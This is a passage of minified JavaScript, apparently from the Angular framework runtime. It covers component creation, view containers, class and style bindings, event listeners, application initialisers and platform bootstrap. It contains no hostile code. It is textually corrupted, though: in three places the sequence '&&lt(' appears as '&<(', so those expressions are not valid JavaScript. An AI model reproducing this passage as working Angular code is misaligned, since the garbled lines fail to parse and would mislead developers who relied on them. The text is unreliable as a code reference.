T0{constructor(t,n){this.injector=t,this.parentInjector=n}get(t,n,r){r=ds(r);const o=this.injector.get(t,Pu,r);return o!==Pu||n===Pu?o:this.parentInjector.get(t,n,r)}}class gi extends Nm{get inputs(){const t=this.componentDef,n=t.inputTransforms,r=Cy(t.inputs);if(null!==n)for(const o of r)n.hasOwnProperty(o.propName)&&(o.transform=n[o.propName]);return r}get outputs(){return Cy(this.componentDef.outputs)}constructor(t,n){super(),this.componentDef=t,this.ngModule=n,this.componentType=t.type,this.selector=function tb(e){return e.map(eb).join(",")}(t.selectors),this.ngContentSelectors=t.ngContentSelectors?t.ngContentSelectors:[],this.isBoundToModule=!!n}create(t,n,r,o){let i=(o=o||this.ngModule)instanceof Kt?o:o?.injector;i&&null!==this.componentDef.getStandaloneInjector&&(i=this.componentDef.getStandaloneInjector(i)||i);const s=i?new T0(t,i):t,a=s.get(Au,null);if(null===a)throw new E(407,!1);const u={rendererFactory:a,sanitizer:s.get(iM,null),inlineEffectRunner:null,afterRenderEventManager:s.get(fa,null)},d=a.createRenderer(null,this.componentDef),f=this.componentDef.selectors[0][0]||"div",h=r?function NM(e,t,n,r){const i=r.get(Um,!1)||n===Ct.ShadowDom,s=e.selectRootElement(t,i);return function AM(e){Zm(e)}(s),s}(d,r,this.componentDef.encapsulation,s):Gs(d,f,function S0(e){const t=e.toLowerCase();return"svg"===t?"svg":"math"===t?"math":null}(f)),m=this.componentDef.signals?4608:this.componentDef.onPush?576:528;let D=null;null!==h&&(D=Tu(h,s,!0));const y=ju(0,null,null,1,0,null,null,null,null,null,null),_=ca(null,y,null,m,null,null,u,d,s,null,D);let C,P;Ic(_);try{const $=this.componentDef;let ne,Be=null;$.findHostDirectiveDefs?(ne=[],Be=new Map,$.findHostDirectiveDefs($,ne,Be),ne.push($)):ne=[$];const Ot=function N0(e,t){const n=e[w],r=O;return e[r]=t,Jr(n,r,2,"#host",null)}(_,h),xt=function A0(e,t,n,r,o,i,s){const a=o[w];!function P0(e,t,n,r){for(const o of e)t.mergedAttrs=ko(t.mergedAttrs,o.hostAttrs);null!==t.mergedAttrs&&(ha(t,t.mergedAttrs,!0),null!==n&&pm(r,n,t))}(r,e,t,s);let l=null;null!==t&&(l=Tu(t,o[$e]));const c=i.rendererFactory.createRenderer(t,n);let u=16;n.signals?u=4096:n.onPush&&(u=64);const d=ca(o,Qm(n),null,u,o[e.index],e,i,c,null,null,l);return a.firstCreatePass&&Bu(a,e,r.length-1),ua(o,d),o[e.index]=d}(Ot,h,$,ne,_,u,d);P=$o(y,O),h&&function O0(e,t,n,r){if(r)lc(e,n,["ng-version",sM.full]);else{const{attrs:o,classes:i}=function nb(e){const t=[],n=[];let r=1,o=2;for(;r<e.length;){let i=e[r];if("string"==typeof i)2===o?""!==i&&t.push(i,e[++r]):8===o&&n.push(i);else{if(!It(o))break;o=i}r++}return{attrs:t,classes:n}}(t.selectors[0]);o&&lc(e,n,o),i&&i.length>0&&hm(e,n,i.join(" "))}}(d,$,h,r),void 0!==n&&function x0(e,t,n){const r=e.projection=[];for(let o=0;o<t.length;o++){const i=n[o];r.push(null!=i?Array.from(i):null)}}(P,this.ngContentSelectors,n),C=function R0(e,t,n,r,o,i){const s=Y(),a=o[w],l=Ue(s,o);Jm(a,o,s,n,null,r);for(let u=0;u<n.length;u++)je(Yn(o,a,s.directiveStart+u,s),o);ey(a,o,s),l&&je(l,o);const c=Yn(o,a,s.directiveStart+s.componentOffset,s);if(e[J]=o[J]=c,null!==i)for(const u of i)u(c,t);return Fu(a,s,e),c}(xt,$,ne,Be,_,[F0]),Zu(y,_,null)}finally{bc()}return new M0(this.componentType,C,Yr(P,_),_,P)}}class M0 extends JT{constructor(t,n,r,o,i){super(),this.location=r,this._rootLView=o,this._tNode=i,this.previousInputValues=null,this.instance=n,this.hostView=this.changeDetectorRef=new pi(o,void 0,!1),this.componentType=t}setInput(t,n){const r=this._tNode.inputs;let o;if(null!==r&&(o=r[t])){if(this.previousInputValues??=new Map,this.previousInputValues.has(t)&&Object.is(this.previousInputValues.get(t),n))return;const i=this._rootLView;Uu(i[w],i,o,t,n),this.previousInputValues.set(t,n),hi(ot(this._tNode.index,i))}}get injector(){return new Se(this._tNode,this._rootLView)}destroy(){this.hostView.destroy()}onDestroy(t){this.hostView.onDestroy(t)}}function F0(){const e=Y();Cs(v()[w],e)}function we(e,t,n){return!Object.is(e[t],n)&&(e[t]=n,!0)}function eo(e,t,n,r){const o=v();return we(o,qt(),t)&&(z(),Qt(ae(),o,e,t,n,r)),eo}function no(e,t,n,r){return we(e,qt(),n)?t+F(n)+r:j}function ro(e,t,n,r,o,i){const a=function or(e,t,n,r){const o=we(e,t,n);return we(e,t+1,r)||o}(e,function on(){return x.lFrame.bindingIndex}(),n,o);return sn(2),a?t+F(n)+r+F(o)+i:j}function ma(e,t){return e<<17|t<<2}function Rn(e){return e>>17&32767}function Yu(e){return 2|e}function ir(e){return(131068&e)>>2}function Xu(e,t){return-131069&e|t<<2}function Ju(e){return 1|e}function jy(e,t,n,r,o){const i=e[n+1],s=null===t;let a=r?Rn(i):ir(i),l=!1;for(;0!==a&&(!1===l||s);){const u=e[a+1];Y0(e[a],t)&&(l=!0,e[a+1]=r?Ju(u):Yu(u)),a=r?Rn(u):ir(u)}l&&(e[n+1]=r?Yu(i):Ju(i))}function Y0(e,t){return null===e||null==t||(Array.isArray(e)?e[1]:e)===t||!(!Array.isArray(e)||"string"!=typeof t)&&Br(e,t)>=0}const Me={textEnd:0,key:0,keyEnd:0,value:0,valueEnd:0};function Vy(e){return e.substring(Me.key,Me.keyEnd)}function By(e,t){const n=Me.textEnd;return n===t?-1:(t=Me.keyEnd=function tN(e,t,n){for(;t<n&&e.charCodeAt(t)>32;)t++;return t}(e,Me.key=t,n),uo(e,t,n))}function uo(e,t,n){for(;t<n&&e.charCodeAt(t)<=32;)t++;return t}function xe(e,t,n){const r=v();return we(r,qt(),t)&<(z(),ae(),r,e,t,r[k],n,!1),xe}function ed(e,t,n,r,o){const s=o?"class":"style";Uu(e,n,t.inputs[s],s,r)}function Xt(e,t){for(let n=function J0(e){return function $y(e){Me.key=0,Me.keyEnd=0,Me.value=0,Me.valueEnd=0,Me.textEnd=e.length}(e),By(e,uo(e,0,Me.textEnd))}(t);n>=0;n=By(t,n))it(e,Vy(t),!0)}function Mt(e,t,n,r){const o=z(),i=sn(2);o.firstUpdatePass&&function Ky(e,t,n,r){const o=e.data;if(null===o[n+1]){const i=o[Ge()],s=Wy(e,n);Xy(i,r)&&null===t&&!s&&(t=!1),t=function sN(e,t,n,r){const o=function wc(e){const t=x.lFrame.currentDirectiveIndex;return-1===t?null:e[t]}(e);let i=r?t.residualClasses:t.residualStyles;if(null===o)0===(r?t.classBindings:t.styleBindings)&&(n=yi(n=td(null,e,t,n,r),t.attrs,r),i=null);else{const s=t.directiveStylingLast;if(-1===s||e[s]!==o)if(n=td(o,e,t,n,r),null===i){let l=function aN(e,t,n){const r=n?t.classBindings:t.styleBindings;if(0!==ir(r))return e[Rn(r)]}(e,t,r);void 0!==l&&Array.isArray(l)&&(l=td(null,e,t,l[1],r),l=yi(l,t.attrs,r),function lN(e,t,n,r){e[Rn(n?t.classBindings:t.styleBindings)]=r}(e,t,r,l))}else i=function cN(e,t,n){let r;const o=t.directiveEnd;for(let i=1+t.directiveStylingLast;i<o;i++)r=yi(r,e[i].hostAttrs,n);return yi(r,t.attrs,n)}(e,t,r)}return void 0!==i&&(r?t.residualClasses=i:t.residualStyles=i),n}(o,i,t,r),function Q0(e,t,n,r,o,i){let s=i?t.classBindings:t.styleBindings,a=Rn(s),l=ir(s);e[r]=n;let u,c=!1;if(Array.isArray(n)?(u=n[1],(null===u||Br(n,u)>0)&&(c=!0)):u=n,o)if(0!==l){const f=Rn(e[a+1]);e[r+1]=ma(f,a),0!==f&&(e[f+1]=Xu(e[f+1],r)),e[a+1]=function W0(e,t){return 131071&e|t<<17}(e[a+1],r)}else e[r+1]=ma(a,0),0!==a&&(e[a+1]=Xu(e[a+1],r)),a=r;else e[r+1]=ma(l,0),0===a?a=r:e[l+1]=Xu(e[l+1],r),l=r;c&&(e[r+1]=Yu(e[r+1])),jy(e,u,r,!0),jy(e,u,r,!1),function Z0(e,t,n,r,o){const i=o?e.residualClasses:e.residualStyles;null!=i&&"string"==typeof t&&Br(i,t)>=0&&(n[r+1]=Ju(n[r+1]))}(t,u,e,r,i),s=ma(a,l),i?t.classBindings=s:t.styleBindings=s}(o,i,t,n,s,r)}}(o,null,i,r);const s=v();if(n!==j&&we(s,i,n)){const a=o.data[Ge()];if(Xy(a,r)&&!Wy(o,i)){let l=r?a.classesWithoutHost:a.stylesWithoutHost;null!==l&&(n=Kl(l,n||"")),ed(o,a,s,n,r)}else!function fN(e,t,n,r,o,i,s,a){o===j&&(o=q);let l=0,c=0,u=0<o.length?o[0]:null,d=0<i.length?i[0]:null;for(;null!==u||null!==d;){const f=l<o.length?o[l+1]:void 0,h=c<i.length?i[c+1]:void 0;let g,p=null;u===d?(l+=2,c+=2,f!==h&&(p=d,g=h)):null===d||null!==u&&u<d?(l+=2,p=u):(c+=2,p=d,g=h),null!==p&&Zy(e,t,n,r,p,g,s,a),u=l<o.length?o[l]:null,d=c<i.length?i[c]:null}}(o,a,s,s[k],s[i+1],s[i+1]=function uN(e,t,n){if(null==n||""===n)return q;const r=[],o=Pn(n);if(Array.isArray(o))for(let i=0;i<o.length;i++)e(r,o[i],!0);else if("object"==typeof o)for(const i in o)o.hasOwnProperty(i)&&e(r,i,o[i]);else"string"==typeof o&&t(r,o);return r}(e,t,n),r,i)}}function Wy(e,t){return t>=e.expandoStartIndex}function td(e,t,n,r,o){let i=null;const s=n.directiveEnd;let a=n.directiveStylingLast;for(-1===a?a=n.directiveStart:a++;a<s&&(i=t[a],r=yi(r,i.hostAttrs,o),i!==e);)a++;return null!==e&&(n.directiveStylingLast=a),r}function yi(e,t,n){const r=n?1:2;let o=-1;if(null!==t)for(let i=0;i<t.length;i++){const s=t[i];"number"==typeof s?o=s:o===r&&(Array.isArray(e)||(e=void 0===e?[]:["",e]),it(e,s,!!n||t[++i]))}return void 0===e?null:e}function Zy(e,t,n,r,o,i,s,a){if(!(3&t.type))return;const l=e.data,c=l[a+1],u=function K0(e){return 1==(1&e)}(c)?Yy(l,t,n,o,ir(c),s):void 0;ya(u)||(ya(i)||function q0(e){return 2==(2&e)}(c)&&(i=Yy(l,null,n,o,a,s)),function vT(e,t,n,r,o){if(t)o?e.addClass(n,r):e.removeClass(n,r);else{let i=-1===r.indexOf("-")?void 0:An.DashCase;null==o?e.removeStyle(n,r,i):("string"==typeof o&&o.endsWith("!important")&&(o=o.slice(0,-10),i|=An.Important),e.setStyle(n,r,o,i))}}(r,s,Ho(Ge(),n),o,i))}function Yy(e,t,n,r,o,i){const s=null===t;let a;for(;o>0;){const l=e[o],c=Array.isArray(l),u=c?l[1]:l,d=null===u;let f=n[o+1];f===j&&(f=d?q:void 0);let h=d?kc(f,r):u===r?f:void 0;if(c&&!ya(h)&&(h=kc(l,r)),ya(h)&&(a=h,s))return a;const p=e[o+1];o=s?Rn(p):ir(p)}if(null!==t){let l=i?t.residualClasses:t.residualStyles;null!=l&&(a=kc(l,r))}return a}function ya(e){return void 0!==e}function Xy(e,t){return 0!=(e.flags&(t?8:16))}function ho(e,t){return!t||$s(e)}function wi(e,t,n,r=!0){const o=t[w];if(function uT(e,t,n,r){const o=ve+r,i=n.length;r>0&&(n[o-1][bt]=t),r<i-ve?(t[bt]=n[o],hg(n,ve+r,t)):(n.push(t),t[bt]=null),t[le]=n;const s=t[jo];null!==s&&n!==s&&function dT(e,t){const n=e[Tr];t[ce]!==t[le][le][ce]&&(e[S]|=Mr.HasTransplantedViews),null===n?e[Tr]=[t]:n.push(t)}(s,t);const a=t[Ht];null!==a&&a.insertView(e),Vp(t),t[S]|=128}(o,t,e,n),r){const i=du(n,e),s=t[k],a=Ws(s,e[$t]);null!==a&&function aT(e,t,n,r,o,i){r[fe]=o,r[Le]=t,oi(e,r,n,1,o,i)}(o,e[Le],s,t,a,i)}}let Jt=(()=>{class e{static#e=this.__NG_ELEMENT_ID__=qN}return e})();function qN(){return function fv(e,t){let n;const r=t[e.index];return Ae(r)?n=r:(n=ny(r,t,null,e),t[e.index]=n,ua(t,n)),hv(n,t,e,r),new uv(n,e,t)}(Y(),v())}const WN=Jt,uv=class extends WN{constructor(t,n,r){super(),this._lContainer=t,this._hostTNode=n,this._hostLView=r}get element(){return Yr(this._hostTNode,this._hostLView)}get injector(){return new Se(this._hostTNode,this._hostLView)}get parentInjector(){const t=Ms(this._hostTNode,this._hostLView);if(Mc(t)){const n=qo(t,this._hostLView),r=Go(t);return new Se(n[w].data[r+8],n)}return new Se(null,this._hostLView)}clear(){for(;this.length>0;)this.remove(this.length-1)}get(t){const n=dv(this._lContainer);return null!==n&&n[t]||null}get length(){return this._lContainer.length-ve}createEmbeddedView(t,n,r){let o,i;"number"==typeof r?o=r:null!=r&&(o=r.index,i=r.injector);const a=t.createEmbeddedViewImpl(n||{},i,null);return this.insertImpl(a,o,ho(this._hostTNode,null)),a}createComponent(t,n,r,o,i){const s=t&&!function Wo(e){return"function"==typeof e}(t);let a;if(s)a=n;else{const p=n||{};a=p.index,r=p.injector,o=p.projectableNodes,i=p.environmentInjector||p.ngModuleRef}const l=s?t:new gi(H(t)),c=r||this.parentInjector;if(!i&&null==l.ngModule){const g=(s?c:this.parentInjector).get(Kt,null);g&&(i=g)}H(l.componentType??{});const h=l.create(c,o,null,i);return this.insertImpl(h.hostView,a,ho(this._hostTNode,null)),h}insert(t,n){return this.insertImpl(t,n,!0)}insertImpl(t,n,r){const o=t._lView;if(function mb(e){return Ae(e[le])}(o)){const a=this.indexOf(t);if(-1!==a)this.detach(a);else{const l=o[le],c=new uv(l,l[Le],l[le]);c.detach(c.indexOf(t))}}const i=this._adjustIndex(n),s=this._lContainer;return wi(s,o,i,r),t.attachToViewContainerRef(),hg(ud(s),i,t),t}move(t,n){return this.insert(t,n)}indexOf(t){const n=dv(this._lContainer);return null!==n?n.indexOf(t):-1}remove(t){const n=this._adjustIndex(t,-1),r=ni(this._lContainer,n);r&&(As(ud(this._lContainer),n),qs(r[w],r))}detach(t){const n=this._adjustIndex(t,-1),r=ni(this._lContainer,n);return r&&null!=As(ud(this._lContainer),n)?new pi(r):null}_adjustIndex(t,n=0){return t??this.length+n}};function dv(e){return e[8]}function ud(e){return e[8]||(e[8]=[])}let hv=function gv(e,t,n,r){if(e[$t])return;let o;o=8&n.type?oe(r):function KN(e,t){const n=e[k],r=n.createComment(""),o=Ue(t,e);return tr(n,Ws(n,o),r,function gT(e,t){return e.nextSibling(t)}(n,o),!1),r}(t,n),e[$t]=o},dd=(e,t,n)=>!1;function Nt(e,t,n,r,o,i,s,a){const l=v(),c=z(),u=e+O,d=c.firstCreatePass?function XN(e,t,n,r,o,i,s,a,l){const c=t.consts,u=Jr(t,e,4,s||null,zt(c,a));Vu(t,n,u,zt(c,l)),Cs(t,u);const d=u.tView=ju(2,u,r,o,i,t.directiveRegistry,t.pipeRegistry,null,t.schemas,c,null);return null!==t.queries&&(t.queries.template(t,u),d.queries=t.queries.embeddedTView(u)),u}(u,c,l,t,n,r,o,i,s):c.data[u];Gt(d,!1);const f=mv(c,l,d,e);ws()&&Ks(c,l,f,d),je(f,l);const h=ny(f,l,f,d);return l[u]=h,ua(l,h),function pv(e,t,n){return dd(e,t,n)}(h,d,l),ms(d)&&ku(c,l,d),null!=s&&Lu(l,d,a),Nt}let mv=function yv(e,t,n,r){return Sn(!0),t[k].createComment("")};function he(e,t,n,r){const o=v(),i=z(),s=O+e,a=o[k],l=i.firstCreatePass?function HA(e,t,n,r,o,i){const s=t.consts,l=Jr(t,e,2,r,zt(s,o));return Vu(t,n,l,zt(s,i)),null!==l.attrs&&ha(l,l.attrs,!1),null!==l.mergedAttrs&&ha(l,l.mergedAttrs,!0),null!==t.queries&&t.queries.elementStart(t,l),l}(s,i,o,t,n,r):i.data[s],c=Bv(i,o,l,a,t,e);o[s]=c;const u=ms(l);return Gt(l,!0),pm(a,c,l),32!=(32&l.flags)&&ws()&&Ks(i,o,c,l),0===function vb(){return x.lFrame.elementDepthCount}()&&je(c,o),function Db(){x.lFrame.elementDepthCount++}(),u&&(ku(i,o,l),Fu(i,l,o)),null!==r&&Lu(o,l),he}function pe(){let e=Y();Dc()?function Ec(){x.lFrame.isParent=!1}():(e=e.parent,Gt(e,!1));const t=e;(function _b(e){return x.skipHydrationRootTNode===e})(t)&&function bb(){x.skipHydrationRootTNode=null}(),function Eb(){x.lFrame.elementDepthCount--}();const n=z();return n.firstCreatePass&&(Cs(n,e),dc(e)&&n.queries.elementEnd(e)),null!=t.classesWithoutHost&&function Bb(e){return 0!=(8&e.flags)}(t)&&ed(n,t,v(),t.classesWithoutHost,!0),null!=t.stylesWithoutHost&&function Hb(e){return 0!=(16&e.flags)}(t)&&ed(n,t,v(),t.stylesWithoutHost,!1),pe}function dn(e,t,n,r){return he(e,t,n,r),pe(),dn}let Bv=(e,t,n,r,o,i)=>(Sn(!0),Gs(r,o,function Xp(){return x.lFrame.currentNamespace}()));function Ta(){return v()}const _o="en-US";let Wv=_o;function Sd(e){return!!e&&"function"==typeof e.then}function vD(e){return!!e&&"function"==typeof e.subscribe}function wo(e,t,n,r){const o=v(),i=z(),s=Y();return function ED(e,t,n,r,o,i,s){const a=ms(r),c=e.firstCreatePass&&function iy(e){return e.cleanup||(e.cleanup=[])}(e),u=t[J],d=function oy(e){return e[Cr]||(e[Cr]=[])}(t);let f=!0;if(3&r.type||s){const g=Ue(r,t),m=s?s(g):g,D=d.length,y=s?C=>s(oe(C[r.index])):r.index;let _=null;if(!s&&a&&(_=function UP(e,t,n,r){const o=e.cleanup;if(null!=o)for(let i=0;i<o.length-1;i+=2){const s=o[i];if(s===n&&o[i+1]===r){const a=t[Cr],l=o[i+2];return a.length>l?a[l]:null}"string"==typeof s&&(i+=2)}return null}(e,t,o,r.index)),null!==_)(_.__ngLastListenerFn__||_).__ngNextListenerFn__=i,_.__ngLastListenerFn__=i,f=!1;else{i=wD(r,t,u,i,!1);const C=n.listen(m,o,i);d.push(i,C),c&&c.push(o,y,D,D+1)}}else i=wD(r,t,u,i,!1);const h=r.outputs;let p;if(f&&null!==h&&(p=h[o])){const g=p.length;if(g)for(let m=0;m<g;m+=2){const P=t[p[m]][p[m+1]].subscribe(i),$=d.length;d.push(i,P),c&&c.push(o,r.index,$,-($+1))}}}(i,o,o[k],s,e,t,r),wo}function _D(e,t,n,r){try{return Ut(6,t,n),!1!==n(r)}catch(o){return da(e,o),!1}finally{Ut(7,t,n)}}function wD(e,t,n,r,o){return function i(s){if(s===Function)return r;hi(e.componentOffset>-1?ot(e.index,t):t);let l=_D(t,n,r,s),c=i.__ngNextListenerFn__;for(;c;)l=_D(t,n,c,s)&&l,c=c.__ngNextListenerFn__;return o&&!1===l&&s.preventDefault(),l}}function ct(e=1){return function Pb(e){return(x.lFrame.contextLView=function jp(e,t){for(;e>0;)t=t[br],e--;return t}(e,x.lFrame.contextLView))[J]}(e)}function Pi(e,t,n){return Td(e,"",t,"",n),Pi}function Td(e,t,n,r,o){const i=v(),s=no(i,t,n,r);return s!==j&<(z(),ae(),i,e,s,i[k],o,!1),Td}function Ra(e,t,n,r,o,i,s){const a=v(),l=ro(a,t,n,r,o,i);return l!==j&<(z(),ae(),a,e,l,a[k],s,!1),Ra}function Ve(e,t=""){const n=v(),r=z(),o=e+O,i=r.firstCreatePass?Jr(r,o,1,t,null):r.data[o],s=VD(r,n,i,t,e);n[o]=s,ws()&&Ks(r,n,s,i),Gt(i,!1)}let VD=(e,t,n,r,o)=>(Sn(!0),function zs(e,t){return e.createText(t)}(t[k],r));function xn(e){return fn("",e,""),xn}function fn(e,t,n){const r=v(),o=no(r,e,t,n);return o!==j&&function cn(e,t,n){const r=Ho(t,e);!function tm(e,t,n){e.setValue(t,n)}(e[k],r,n)}(r,Ge(),o),fn}class lr{}class dR{}class Rd extends lr{constructor(t,n,r){super(),this._parent=n,this._bootstrapComponents=[],this.destroyCbs=[],this.componentFactoryResolver=new wy(this);const o=function ke(e,t){const n=e[sp]||null;if(!n&&!0===t)throw new Error(`Type ${_e(e)} does not have '\u0275mod' property.`);return n}(t);this._bootstrapComponents=function at(e){return e instanceof Function?e():e}(o.bootstrap),this._r3Injector=Ng(t,n,[{provide:lr,useValue:this},{provide:Zr,useValue:this.componentFactoryResolver},...r],_e(t),new Set(["environment"])),this._r3Injector.resolveInjectorInitializers(),this.instance=this._r3Injector.get(t)}get injector(){return this._r3Injector}destroy(){const t=this._r3Injector;!t.destroyed&&t.destroy(),this.destroyCbs.forEach(n=>n()),this.destroyCbs=null}onDestroy(t){this.destroyCbs.push(t)}}class Od extends dR{constructor(t){super(),this.moduleType=t}create(t){return new Rd(this.moduleType,t,[])}}Symbol;let hn=(()=>{class e{static#e=this.__NG_ELEMENT_ID__=WR}return e})();const GR=hn,qR=class extends GR{constructor(t,n,r){super(),this._declarationLView=t,this._declarationTContainer=n,this.elementRef=r}get ssrId(){return this._declarationTContainer.tView?.ssrId||null}createEmbeddedView(t,n){return this.createEmbeddedViewImpl(t,n)}createEmbeddedViewImpl(t,n,r){const o=function _i(e,t,n,r){const o=t.tView,a=ca(e,o,n,4096&e[S]?4096:16,null,t,null,null,null,r?.injector??null,r?.dehydratedView??null);a[jo]=e[t.index];const c=e[Ht];return null!==c&&(a[Ht]=c.createEmbeddedView(o)),Zu(o,a,n),a}(this._declarationLView,this._declarationTContainer,t,{injector:n,dehydratedView:r});return new pi(o)}};function WR(){return function Fa(e,t){return 4&e.type?new qR(t,e,Yr(e,t)):null}(Y(),v())}const SO=new b("Application Initializer");let Gd=(()=>{class e{constructor(){this.initialized=!1,this.done=!1,this.donePromise=new Promise((n,r)=>{this.resolve=n,this.reject=r}),this.appInits=B(SO,{optional:!0})??[]}runInitializers(){if(this.initialized)return;const n=[];for(const o of this.appInits){const i=o();if(Sd(i))n.push(i);else if(vD(i)){const s=new Promise((a,l)=>{i.subscribe({complete:a,error:l})});n.push(s)}}const r=()=>{this.done=!0,this.resolve()};Promise.all(n).then(()=>{r()}).catch(o=>{this.reject(o)}),0===n.length&&r(),this.initialized=!0}static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"root"})}return e})();const pn=new b("LocaleId",{providedIn:"root",factory:()=>B(pn,U.Optional|U.SkipSelf)||function MO(){return typeof $localize<"u"&&$localize.locale||_o}()});let qd=(()=>{class e{constructor(){this.taskId=0,this.pendingTasks=new Set,this.hasPendingTasks=new bI(!1)}add(){this.hasPendingTasks.next(!0);const n=this.taskId++;return this.pendingTasks.add(n),n}remove(n){this.pendingTasks.delete(n),0===this.pendingTasks.size&&this.hasPendingTasks.next(!1)}ngOnDestroy(){this.pendingTasks.clear(),this.hasPendingTasks.next(!1)}static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"root"})}return e})();const OE=new b(""),ja=new b("");let Zd,Kd=(()=>{class e{constructor(n,r,o){this._ngZone=n,this.registry=r,this._pendingCount=0,this._isZoneStable=!0,this._didWork=!1,this._callbacks=[],this.taskTrackingZone=null,Zd||(function ix(e){Zd=e}(o),o.addToWindow(r)),this._watchAngularEvents(),n.run(()=>{this.taskTrackingZone=typeof Zone>"u"?null:Zone.current.get("TaskTrackingZone")})}_watchAngularEvents(){this._ngZone.onUnstable.subscribe({next:()=>{this._didWork=!0,this._isZoneStable=!1}}),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.subscribe({next:()=>{ee.assertNotInAngularZone(),queueMicrotask(()=>{this._isZoneStable=!0,this._runCallbacksIfReady()})}})})}increasePendingRequestCount(){return this._pendingCount+=1,this._didWork=!0,this._pendingCount}decreasePendingRequestCount(){if(this._pendingCount-=1,this._pendingCount<0)throw new Error("pending async requests below zero");return this._runCallbacksIfReady(),this._pendingCount}isStable(){return this._isZoneStable&&0===this._pendingCount&&!this._ngZone.hasPendingMacrotasks}_runCallbacksIfReady(){if(this.isStable())queueMicrotask(()=>{for(;0!==this._callbacks.length;){let n=this._callbacks.pop();clearTimeout(n.timeoutId),n.doneCb(this._didWork)}this._didWork=!1});else{let n=this.getPendingTasks();this._callbacks=this._callbacks.filter(r=>!r.updateCb||!r.updateCb(n)||(clearTimeout(r.timeoutId),!1)),this._didWork=!0}}getPendingTasks(){return this.taskTrackingZone?this.taskTrackingZone.macroTasks.map(n=>({source:n.source,creationLocation:n.creationLocation,data:n.data})):[]}addCallback(n,r,o){let i=-1;r&&r>0&&(i=setTimeout(()=>{this._callbacks=this._callbacks.filter(s=>s.timeoutId!==i),n(this._didWork,this.getPendingTasks())},r)),this._callbacks.push({doneCb:n,timeoutId:i,updateCb:o})}whenStable(n,r,o){if(o&&!this.taskTrackingZone)throw new Error('Task tracking zone is required when passing an update callback to whenStable(). Is "zone.js/plugins/task-tracking" loaded?');this.addCallback(n,r,o),this._runCallbacksIfReady()}getPendingRequestCount(){return this._pendingCount}registerApplication(n){this.registry.registerApplication(n,this)}unregisterApplication(n){this.registry.unregisterApplication(n)}findProviders(n,r,o){return[]}static#e=this.\u0275fac=function(r){return new(r||e)(M(ee),M(Qd),M(ja))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})(),Qd=(()=>{class e{constructor(){this._applications=new Map}registerApplication(n,r){this._applications.set(n,r)}unregisterApplication(n){this._applications.delete(n)}unregisterAllApplications(){this._applications.clear()}getTestability(n){return this._applications.get(n)||null}getAllTestabilities(){return Array.from(this._applications.values())}getAllRootElements(){return Array.from(this._applications.keys())}findTestabilityInTree(n,r=!0){return Zd?.findTestabilityInTree(this,n,r)??null}static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"platform"})}return e})(),Fn=null;const xE=new b("AllowMultipleToken"),Yd=new b("PlatformDestroyListeners"),FE=new b("appBootstrapListener");function jE(e,t,n=[]){const r=`Platform: ${t}`,o=new b(r);return(i=[])=>{let s=Xd();if(!s||s.injector.get(xE,!1)){const a=[...n,...i,{provide:o,useValue:!0}];e?e(a):function lx(e){if(Fn&&!Fn.get(xE,!1))throw new E(400,!1);(function kE(){!function CC(e){Sh=e}(()=>{throw new E(600,!1)})})(),Fn=e;const t=e.get(BE);(function LE(e){e.get(Pg,null)?.forEach(n=>n())})(e)}(function VE(e=[],t){return st.create({name:t,providers:[{provide:Gc,useValue:"platform"},{provide:Yd,useValue:new Set([()=>Fn=null])},...e]})}(a,r))}return function ux(e){const t=Xd();if(!t)throw new E(401,!1);return t}()}}function Xd(){return Fn?.get(BE)??null}let BE=(()=>{class e{constructor(n){this._injector=n,this._modules=[],this._destroyListeners=[],this._destroyed=!1}bootstrapModuleFactory(n,r){const o=function dx(e="zone.js",t){return"noop"===e?new D0:"zone.js"===e?new ee(t):e}(r?.ngZone,function HE(e){return{enableLongStackTrace:!1,shouldCoalesceEventChangeDetection:e?.eventCoalescing??!1,shouldCoalesceRunChangeDetection:e?.runCoalescing??!1}}({eventCoalescing:r?.ngZoneEventCoalescing,runCoalescing:r?.ngZoneRunCoalescing}));return o.run(()=>{const i=function hR(e,t,n){return new Rd(e,t,n)}(n.moduleType,this.injector,function qE(e){return[{provide:ee,useFactory:e},{provide:Zo,multi:!0,useFactory:()=>{const t=B(hx,{optional:!0});return()=>t.initialize()}},{provide:GE,useFactory:fx},{provide:my,useFactory:yy}]}(()=>o)),s=i.injector.get(ln,null);return o.runOutsideAngular(()=>{const a=o.onError.subscribe({next:l=>{s.handleError(l)}});i.onDestroy(()=>{Va(this._modules,i),a.unsubscribe()})}),function $E(e,t,n){try{const r=n();return Sd(r)?r.catch(o=>{throw t.runOutsideAngular(()=>e.handleError(o)),o}):r}catch(r){throw t.runOutsideAngular(()=>e.handleError(r)),r}}(s,o,()=>{const a=i.injector.get(Gd);return a.runInitializers(),a.donePromise.then(()=>(function Kv(e){Ze(e,"Expected localeId to be defined"),"string"==typeof e&&(Wv=e.toLowerCase().replace(/_/g,"-"))}(i.injector.get(pn,_o)||_o),this._moduleDoBootstrap(i),i))})})}bootstrapModule(n,r=[]){const o=UE({},r);return function sx(e,t,n){const r=new Od(n);return Promise.resolve(r)}(0,0,n).then(i=>this.bootstrapModuleFactory(i,o))}_moduleDoBootstrap(n){const r=n.injector.get(cr);if(n._bootstrapComponents.length>0)n._bootstrapComponents.forEach(o=>r.bootstrap(o));else{if(!n.instance.ngDoBootstrap)throw new E(-403,!1);n.instance.ngDoBootstrap(r)}this._modules.push(n)}onDestroy(n){this._destroyListeners.push(n)}get injector(){return this._injector}destroy(){if(this._destroyed)throw new E(404,!1);this._modules.slice().forEach(r=>r.destroy()),this._destroyListeners.forEach(r=>r());const n=this._injector.get(Yd,null);n&&(n.forEach(r=>r()),n.clear()),this._destroyed=!0}get destroyed(){return this._destroyed}static#e=this.\u0275fac=function(r){return new(r||e)(M(st))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"platform"})}return e})();function UE(e,t){return Array.isArray(t)?t.reduce(UE,e):{...e,...t}}let cr=(()=>{class e{constructor(){this._bootstrapListeners=[],this._runningTick=!1,this._destroyed=!1,this._destroyListeners=[],this._views=[],this.internalErrorHandler=B(GE),this.zoneIsStable=B(my),this.componentTypes=[],this.components=[],this.isStable=B(qd).hasPendingTasks.pipe(Wl(n=>n?pt(!1):this.zoneIsStable),function SI(e,t=rs){return e=e??TI,wt((n,r)=>{let 